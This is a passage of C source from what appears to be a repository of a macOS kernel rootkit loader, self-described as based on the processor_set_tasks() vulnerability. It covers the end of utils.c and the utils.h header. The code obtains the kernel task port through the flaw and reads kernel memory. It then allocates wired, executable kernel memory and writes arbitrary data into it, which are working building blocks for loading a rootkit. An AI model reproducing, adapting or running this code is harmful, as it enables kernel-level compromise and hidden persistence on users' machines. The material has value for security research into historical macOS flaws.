107 | return -1; 108 | } 109 | char *osrelease = malloc(size); 110 | if (osrelease == NULL) 111 | { 112 | ERROR_MSG("Failed to allocate memory."); 113 | return -1; 114 | } 115 | if ( sysctlbyname("kern.osrelease", osrelease, &size, NULL, 0) ) 116 | { 117 | ERROR_MSG("Failed to get kern.osrelease."); 118 | free(osrelease); 119 | return -1; 120 | } 121 | char major[3] = {0}; 122 | strncpy(major, osrelease, 2); 123 | free(osrelease); 124 | 125 | return (int)strtol(major, (char**)NULL, 10); 126 | } 127 | 128 | kern_return_t 129 | readkmem(mach_port_t port, void *buffer, const uint64_t target_addr, const size_t size) 130 | { 131 | mach_vm_size_t outsize = 0; 132 | kern_return_t kr = mach_vm_read_overwrite(port, target_addr, size, (mach_vm_address_t)buffer, &outsize); 133 | if (kr != KERN_SUCCESS) 134 | { 135 | ERROR_MSG("mach_vm_read_overwrite failed: %d.", kr); 136 | return KERN_FAILURE; 137 | } 138 | return KERN_SUCCESS; 139 | } 140 | 141 | /* verify if processor_set_tasks() vulnerability exists and retrieve kernel port if positive */ 142 | /* vulnerability presented at BlackHat Asia 2014 by Ming-chieh Pan, Sung-ting Tsai. */ 143 | /* also described in Mac OS X and iOS Internals, page 387 */ 144 | kern_return_t 145 | get_kernel_task_port(mach_port_t *kernel_port) 146 | { 147 | OUTPUT_MSG("\n-----[ Retrieving kernel task port ]-----"); 148 | host_t host_port = mach_host_self(); 149 | mach_port_t proc_set_default = 0; 150 | mach_port_t proc_set_default_control = 0; 151 | task_array_t all_tasks = NULL; 152 | mach_msg_type_number_t all_tasks_cnt = 0; 153 | kern_return_t kr = 0; 154 | 155 | kr = processor_set_default(host_port, &proc_set_default); 156 | if (kr == KERN_SUCCESS) 157 | { 158 | kr = host_processor_set_priv(host_port, proc_set_default, &proc_set_default_control); 159 | if (kr == KERN_SUCCESS) 160 | { 161 | kr = processor_set_tasks(proc_set_default_control, &all_tasks, &all_tasks_cnt); 162 | if (kr == KERN_SUCCESS) 163 | { 164 | /* houston we can proceed! */ 165 | OUTPUT_MSG("[INFO] Found valid kernel port using processor_set_tasks() vulnerability."); 166 | *kernel_port = all_tasks[0]; 167 | /* free the port and array to avoid memleaks */ 168 | mach_port_deallocate(mach_task_self(), proc_set_default_control); 169 | mach_vm_deallocate(mach_task_self(), (mach_vm_address_t)all_tasks, (mach_vm_size_t)all_tasks_cnt * sizeof(mach_port_t)); 170 | return KERN_SUCCESS; 171 | } 172 | mach_port_deallocate(mach_task_self(), proc_set_default_control); 173 | } 174 | } 175 | ERROR_MSG("Current kernel not vulnerable to processor_set_tasks(): %d.", kr); 176 | return KERN_FAILURE; 177 | } 178 | 179 | kern_return_t 180 | map_kernel_buffer(uint8_t **kernel_buffer, size_t *kernel_size) 181 | { 182 | OUTPUT_MSG("\n-----[ Mapping kernel image ]-----"); 183 | /* find and map the kernel file */ 184 | /* NOTE: we could instead read this directly from kernel memory */ 185 | int kernel_version = get_kernel_version(); 186 | if (kernel_version == -1) 187 | { 188 | ERROR_MSG("Failed to retrieve current kernel version!"); 189 | return KERN_FAILURE; 190 | } 191 | 192 | int kernel_fd = -1; 193 | 194 | /* Mavericks or lower have /mach_kernel */ 195 | if (kernel_version <= 13) 196 | { 197 | kernel_fd = open("/mach_kernel", O_RDONLY); 198 | if (kernel_fd < 0) 199 | { 200 | ERROR_MSG("Can't open /mach_kernel."); 201 | return KERN_FAILURE; 202 | } 203 | } 204 | /* Yosemite moved kernel file to /System/Library/Kernels/kernel */ 205 | else if (kernel_version >= 14) 206 | { 207 | kernel_fd = open("/System/Library/Kernels/kernel", O_RDONLY); 208 | if (kernel_fd < 0) 209 | { 210 | ERROR_MSG("Can't open /System/Library/Kernels/kernel."); 211 | return KERN_FAILURE; 212 | } 213 | } 214 | 215 | struct stat statbuf = {0}; 216 | if ( fstat(kernel_fd, &statbuf) < 0 ) 217 | { 218 | ERROR_MSG("Can't fstat file: %s", strerror(errno)); 219 | close(kernel_fd); 220 | return KERN_FAILURE; 221 | } 222 | 223 | if ( (*kernel_buffer = mmap(0, statbuf.st_size, PROT_READ, MAP_SHARED, kernel_fd, 0)) == MAP_FAILED) 224 | { 225 | ERROR_MSG("Mmap failed on file: %s", strerror(errno)); 226 | close(kernel_fd); 227 | return KERN_FAILURE; 228 | } 229 | 230 | /* return size so we can unmap */ 231 | *kernel_size = statbuf.st_size; 232 | 233 | close(kernel_fd); 234 | return KERN_SUCCESS; 235 | } 236 | 237 | int 238 | unmap_kernel_buffer(uint8_t *kernel_buffer, size_t kernel_size) 239 | { 240 | munmap(kernel_buffer, kernel_size); 241 | return 0; 242 | } 243 | 244 | /* common function to allocate wired kernel memory with specified protection */ 245 | static kern_return_t 246 | alloc_kernel_memory(mach_port_t kernel_port, uint64_t size, mach_vm_address_t *address, vm_prot_t protection) 247 | { 248 | kern_return_t kr = 0; 249 | mach_vm_address_t alloc_addr = 0; 250 | 251 | kr = mach_vm_allocate(kernel_port, &alloc_addr, size, VM_FLAGS_ANYWHERE); 252 | if (kr != KERN_SUCCESS) 253 | { 254 | ERROR_MSG("Failed to allocate memory: 0x%x (%s).", kr, mach_error_string(kr)); 255 | return KERN_FAILURE; 256 | } 257 | DEBUG_MSG("Allocated kernel memory at address 0x%llx", alloc_addr); 258 | /* set the memory protection and wired status */ 259 | kr = mach_vm_protect(kernel_port, alloc_addr, size, 0, protection); 260 | if (kr != KERN_SUCCESS) 261 | { 262 | mach_vm_deallocate(kernel_port, alloc_addr, size); 263 | ERROR_MSG("Failed to protect memory: 0x%x (%s).", kr, mach_error_string(kr)); 264 | return KERN_FAILURE; 265 | } 266 | kr = mach_vm_wire(mach_host_self(), kernel_port, alloc_addr, size, protection); 267 | if (kr != KERN_SUCCESS) 268 | { 269 | mach_vm_deallocate(kernel_port, alloc_addr, size); 270 | ERROR_MSG("Failed to wire memory: 0x%x (%s)", kr, mach_error_string(kr)); 271 | return KERN_FAILURE; 272 | } 273 | /* always zero the allocated memory */ 274 | uint8_t *zero = calloc(1, size); 275 | if (zero == NULL) 276 | { 277 | mach_vm_deallocate(kernel_port, alloc_addr, size); 278 | ERROR_MSG("Failed to allocate zero block."); 279 | return KERN_FAILURE; 280 | } 281 | kr = mach_vm_write(kernel_port, alloc_addr, (vm_offset_t)zero, (mach_msg_type_number_t)size); 282 | if (kr != KERN_SUCCESS) 283 | { 284 | ERROR_MSG("Failed to zero"); 285 | free(zero); 286 | return KERN_FAILURE; 287 | } 288 | free(zero); 289 | 290 | /* everything ok, return the allocated address to the caller */ 291 | *address = alloc_addr; 292 | return KERN_SUCCESS; 293 | } 294 | 295 | /* allocate executable and wired kernel memory */ 296 | kern_return_t 297 | alloc_exec_kmem(mach_port_t kernel_port, uint64_t size, mach_vm_address_t *address) 298 | { 299 | kern_return_t kr = 0; 300 | 301 | kr = alloc_kernel_memory(kernel_port, size, address, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE); 302 | if (kr != KERN_SUCCESS) 303 | { 304 | ERROR_MSG("Failed to allocate memory"); 305 | return KERN_FAILURE; 306 | } 307 | 308 | return KERN_SUCCESS; 309 | } 310 | 311 | /* allocate non executable and wired kernel memory */ 312 | kern_return_t 313 | alloc_data_kmem(mach_port_t kernel_port, uint64_t size, mach_vm_address_t *address) 314 | { 315 | kern_return_t kr = 0; 316 | 317 | kr = alloc_kernel_memory(kernel_port, size, address, VM_PROT_READ | VM_PROT_WRITE); 318 | if (kr != KERN_SUCCESS) 319 | { 320 | ERROR_MSG("Failed to allocate memory"); 321 | return KERN_FAILURE; 322 | } 323 | 324 | return KERN_SUCCESS; 325 | } 326 | 327 | /* allocate executable and wired kernel memory and write buffer to it */ 328 | kern_return_t 329 | alloc_and_write_exec_kmem(mach_port_t kernel_port, void *data_to_write, uint64_t size, mach_vm_address_t *address) 330 | { 331 | kern_return_t kr = 0; 332 | 333 | kr = alloc_kernel_memory(kernel_port, size, address, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE); 334 | if (kr != KERN_SUCCESS) 335 | { 336 | ERROR_MSG("Failed to allocate memory"); 337 | return KERN_FAILURE; 338 | } 339 | 340 | /* finally write the data */ 341 | kr = mach_vm_write(kernel_port, *address, (vm_offset_t)data_to_write, (mach_msg_type_number_t)size); 342 | if (kr == KERN_SUCCESS) 343 | { 344 | return KERN_SUCCESS; 345 | } 346 | 347 | mach_vm_deallocate(kernel_port, *address, size); 348 | ERROR_MSG("Failed to allocate and write kernel executable memory: %d (%s)", kr, mach_error_string(kr)); 349 | return KERN_FAILURE; 350 | } 351 | 352 | /* allocate non-executabled and wired kernel memory and write buffer to it */ 353 | kern_return_t 354 | alloc_and_write_data_kmem(mach_port_t kernel_port, void *data_to_write, uint64_t size, mach_vm_address_t *address) 355 | { 356 | kern_return_t kr = 0; 357 | 358 | kr = alloc_kernel_memory(kernel_port, size, address, VM_PROT_READ | VM_PROT_WRITE); 359 | if (kr != KERN_SUCCESS) 360 | { 361 | ERROR_MSG("Failed to allocate memory"); 362 | return KERN_FAILURE; 363 | } 364 | 365 | /* finally write the data */ 366 | kr = mach_vm_write(kernel_port, *address, (vm_offset_t)data_to_write, (mach_msg_type_number_t)size); 367 | if (kr == KERN_SUCCESS) 368 | { 369 | return KERN_SUCCESS; 370 | } 371 | 372 | mach_vm_deallocate(kernel_port, *address, size); 373 | ERROR_MSG("Failed to allocate and write kernel memory: %d (%s)", kr, mach_error_string(kr)); 374 | return KERN_FAILURE; 375 | } 376 | 377 | kern_return_t 378 | zero_and_dealloc_kmem(mach_port_t kernel_port, mach_vm_address_t address, uint32_t size) 379 | { 380 | kern_return_t kr = 0; 381 | /* zero out that allocated memory */ 382 | uint8_t *zero = calloc(1, size); 383 | if (zero == NULL) 384 | { 385 | ERROR_MSG("Failed to allocate zero buffer."); 386 | return KERN_FAILURE; 387 | } 388 | kr = mach_vm_write(kernel_port, address, (vm_offset_t)zero, size); 389 | if (kr != KERN_SUCCESS) 390 | { 391 | ERROR_MSG("Failed to zero buffer: 0x%x (%s).", kr, mach_error_string(kr)); 392 | free(zero); 393 | return KERN_FAILURE; 394 | } 395 | free(zero); 396 | /* finally deallocate the buffer */ 397 | kr = mach_vm_deallocate(kernel_port, address, (mach_vm_size_t)size); 398 | if (kr != KERN_SUCCESS) 399 | { 400 | ERROR_MSG("Failed to deallocate kernel memory at address 0x%llx, with error 0x%x (%s).", address, kr, mach_error_string(kr)); 401 | return KERN_FAILURE; 402 | } 403 | 404 | return KERN_SUCCESS; 405 | } 406 | -------------------------------------------------------------------------------- /diagnostic_service/utils.h: -------------------------------------------------------------------------------- 1 | /* 2 | * _(`-') _ (`-') _ <-. (`-')_ (`-').->(`-') _ 3 | * ( (OO ).-> (_) (OO ).-/ .-> \( OO) ) .-> ( OO)_ ( OO).-> (_) _ 4 | * \ .'_ ,-(`-')/ ,---. ,---(`-'),--./ ,--/ (`-')----. (_)--\_) / '._ ,-(`-') \-,-----. 5 | * '`'-..__) | ( OO)| \ /`.\ ' .-(OO )| \ | | ( OO).-. '/ _ / |'--...__)| ( OO) | .--./ 6 | * | | ' | | | )'-'|_.' || | .-, \| . '| |)( _) | | |\_..`--. `--. .--'| | ) /_) (`-') 7 | * | | / :(| |_/(| .-. || | '.(_/| |\ | \| |)| |.-._) \ | | (| |_/ || |OO ) 8 | * | '-' / | |'->| | | || '-' | | | \ | ' '-' '\ / | | | |'->(_' '--'\ 9 | * `------' `--' `--' `--' `-----' `--' `--' `-----' `-----' `--' `--' `-----' 10 | * (`-').->(`-') _ (`-') (`-') _ (`-') _ 11 | * ( OO)_ ( OO).-/<-.(OO ) _(OO ) (_) _ ( OO).-/ 12 | * (_)--\_)(,------.,------,),--.(_/,-.\ ,-(`-') \-,-----.(,------. 13 | * / _ / | .---'| /`. '\ \ / (_/ | ( OO) | .--./ | .---' 14 | * \_..`--.(| '--. | |_.' | \ / / | | ) /_) (`-')(| '--. 15 | * .-._) \| .--' | . .'_ \ /_)(| |_/ || |OO ) | .--' 16 | * \ /| `---.| |\ \ \-'\ / | |'->(_' '--'\ | `---. 17 | * `-----' `------'`--' '--' `-' `--' `-----' `------' 18 | * 19 | * A kernel rootkit loader based on processor_set_tasks() vulnerability 20 | * 21 | * Copyright (c) fG!, 2014, 2015. All rights reserved. 22 | * reverser@put.as - https://reverse.put.as 23 | * 24 | * utils.h 25 | * All kind of auxiliary functions 26 | * 27 | * Redistribution and use in source and binary forms, with or without 28 | * modification, are permitted provided that the following conditions 29 | * are met: 30 | * 1. Redistributions of source code must retain the above copyright 31 | * notice, this list of conditions and the following disclaimer. 32 | * 2. Redistributions in binary form must reproduce the above copyright 33 | * notice, this list of conditions and the following disclaimer in the 34 | * documentation and/or other materials provided with the distribution. 35 | * 3. The name of the author may not be used to endorse or promote products 36 | * derived from this software without specific prior written permission. 37 | * 38 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 39 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 40 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 41 | * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, 42 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 43 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 44 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 45 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 46 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 47 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 48 | * 49 | */ 50 | 51 | #ifndef diagnostic_service_utils_h 52 | #define diagnostic_service_utils_h 53 | 54 | #include 55 | #include 56 | 57 | void get_kaslr_slide(size_t *size, uint64_t *slide); 58 | int get_kernel_version(void); 59 | kern_return_t readkmem(mach_port_t port, void *buffer, const uint64_t target_addr, const size_t size); 60 | kern_return_t get_kernel_task_port(mach_port_t *kernel_port); 61 | 62 | kern_return_t map_kernel_buffer(uint8_t **kernel_buffer, size_t *kernel_size); 63 | int unmap_kernel_buffer(uint8_t *kernel_buffer, size_t kernel_size); 64 | 65 | kern_return_t alloc_exec_kmem(mach_port_t kernel_port, uint64_t size, mach_vm_address_t *address); 66 | kern_return_t alloc_data_kmem(mach_port_t kernel_port, uint64_t size, mach_vm_address_t *address); 67 | 68 | kern_return_t alloc_and_write_exec_kmem(mach_port_t kernel_port, void *data_to_write, uint64_t size, mach_vm_address_t *address); 69 | kern_return_t alloc_and_write_data_kmem(mach_port_t kernel_port, void *data_to_write, uint64_t size, mach_vm_address_t *address); 70 | 71 | kern_return_t zero_and_dealloc_kmem(mach_port_t kernel_port, mach_vm_address_t address, uint32_t size); 72 | 73 | #endif 74 | --------------------------------------------------------------------------------